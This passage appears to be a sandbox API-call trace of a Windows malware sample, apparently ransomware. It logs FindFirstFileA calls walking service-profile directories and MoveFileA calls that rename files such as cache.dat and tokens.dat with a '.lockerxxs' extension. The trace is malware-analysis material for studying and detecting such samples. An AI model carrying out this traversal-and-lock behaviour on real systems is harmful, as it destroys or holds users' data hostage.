nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0140.911] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\Pictures\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf4c2cfc2, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4c2cfc2, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4c2cfc2, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x501568, cFileName=".", cAlternateFileName="")) returned 0x502598 [0140.912] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\Saved Games\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4c2cfc2, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4c2cfc2, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4c2cfc2, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0140.913] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\Videos\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf4c2cfc2, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4c2cfc2, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4c2cfc2, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0140.913] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf484ebfa, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xc27e7f14, ftLastAccessTime.dwHighDateTime=0x1ca0451, ftLastWriteTime.dwLowDateTime=0xc27e7f14, ftLastWriteTime.dwHighDateTime=0x1ca0451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690056, dwReserved1=0x650064, cFileName=".", cAlternateFileName="")) returned 0x502618 [0140.914] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xf489aebb, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xa5c96a30, ftLastAccessTime.dwHighDateTime=0x1d2dda3, ftLastWriteTime.dwLowDateTime=0xa5c96a30, ftLastWriteTime.dwHighDateTime=0x1d2dda3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0140.914] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Local\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf48c101b, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf48c101b, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf48c101b, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0140.914] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Local\\Microsoft\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf48c101b, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf48c101b, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf48c101b, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0140.915] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Local\\Microsoft\\Windows\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf48c101b, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf48c101b, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf48c101b, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0140.917] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Local\\Microsoft\\Windows\\GameExplorer\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf48c101b, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf48c101b, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf48c101b, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0140.917] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Local\\Microsoft\\Windows\\History\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xf48c101b, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf48c101b, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf48c101b, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0140.918] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xf48c101b, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf48c101b, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf48c101b, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0140.918] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Local\\Temp\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf48c101b, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xaf9e1260, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xafa53680, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690057, dwReserved1=0x64006e, cFileName=".", cAlternateFileName="")) returned 0x502658 [0140.921] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\LocalLow\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa5c96a30, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0xa8f51f10, ftLastAccessTime.dwHighDateTime=0x1d2dda3, ftLastWriteTime.dwLowDateTime=0xa8f51f10, ftLastWriteTime.dwHighDateTime=0x1d2dda3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0140.922] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\LocalLow\\Microsoft\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa8f51f10, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0xa8f78070, ftLastAccessTime.dwHighDateTime=0x1d2dda3, ftLastWriteTime.dwLowDateTime=0xa8f78070, ftLastWriteTime.dwHighDateTime=0x1d2dda3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0140.923] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa8f78070, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0xa8f78070, ftLastAccessTime.dwHighDateTime=0x1d2dda3, ftLastWriteTime.dwLowDateTime=0xa8f78070, ftLastWriteTime.dwHighDateTime=0x1d2dda3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0140.924] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa8f78070, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0xac2a5970, ftLastAccessTime.dwHighDateTime=0x1d2dda3, ftLastWriteTime.dwLowDateTime=0xac2a5970, ftLastWriteTime.dwHighDateTime=0x1d2dda3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0140.930] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa8f78070, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0xac2a5970, ftLastAccessTime.dwHighDateTime=0x1d2dda3, ftLastWriteTime.dwLowDateTime=0xac2a5970, ftLastWriteTime.dwHighDateTime=0x1d2dda3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0065, dwReserved1=0x6f0043, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0140.935] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf48c101b, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf48c101b, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf48c101b, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName=".", cAlternateFileName="")) returned 0x502518 [0140.936] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xf48c101b, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xfe0063a4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xfe0063a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0140.936] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf48c101b, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf48c101b, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf48c101b, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0140.936] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf48c101b, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf48c101b, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf48c101b, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0140.937] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\SoftwareProtectionPlatform\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf91cd3c2, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xd89282b0, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0xd89282b0, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x750051, dwReserved1=0x630069, cFileName=".", cAlternateFileName="")) returned 0x502698 [0140.937] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\SoftwareProtectionPlatform\\Cache\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf91cd3c2, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xba288e4, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0xba288e4, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0140.945] MoveFileA (lpExistingFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\SoftwareProtectionPlatform\\Cache\\cache.dat" (normalized: "c:\\windows\\serviceprofiles\\networkservice\\appdata\\roaming\\microsoft\\softwareprotectionplatform\\cache\\cache.dat"), lpNewFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\SoftwareProtectionPlatform\\Cache\\cache.dat.lockerxxs" (normalized: "c:\\windows\\serviceprofiles\\networkservice\\appdata\\roaming\\microsoft\\softwareprotectionplatform\\cache\\cache.dat.lockerxxs")) returned 1 [0141.010] MoveFileA (lpExistingFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\SoftwareProtectionPlatform\\tokens.dat" (normalized: "c:\\windows\\serviceprofiles\\networkservice\\appdata\\roaming\\microsoft\\softwareprotectionplatform\\tokens.dat"), lpNewFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\SoftwareProtectionPlatform\\tokens.dat.lockerxxs" (normalized: "c:\\windows\\serviceprofiles\\networkservice\\appdata\\roaming\\microsoft\\softwareprotectionplatform\\tokens.dat.lockerxxs")) returned 1 [0141.015] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfdfe0244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xfe0063a4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xfe0063a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc80001c9, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502698 [0141.016] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfe0063a4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xfe0063a4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xfe0063a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720065, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0141.017] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfe0063a4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xfe0063a4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xfe0063a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502718 [0141.018] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfe0063a4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xfe0063a4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xfe0063a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502718 [0141.018] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfe0063a4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xfe0063a4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xfe0063a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502718 [0141.018] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\Windows\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf48c101b, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf493343c, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf493343c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x79004d, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502698 [0141.021] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf48e717b, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf48e717b, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf48e717b, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0141.022] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf48e717b, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf48e717b, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf48e717b, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0141.022] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf48e717b, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf48e717b, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf48e717b, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0141.023] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf48e717b, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf48e717b, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf48e717b, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0141.025] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf48e717b, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf490d2dc, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf490d2dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0141.031] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf490d2dc, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf490d2dc, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf490d2dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0141.031] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf490d2dc, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf493343c, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf493343c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502718 [0141.032] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf490d2dc, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf493343c, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf493343c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502758 [0141.033] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf490d2dc, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf490d2dc, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf490d2dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502798 [0141.041] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf493343c, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf493343c, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf493343c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x5015f0, cFileName=".", cAlternateFileName="")) returned 0x502798 [0141.043] FindFirstFileA (in: 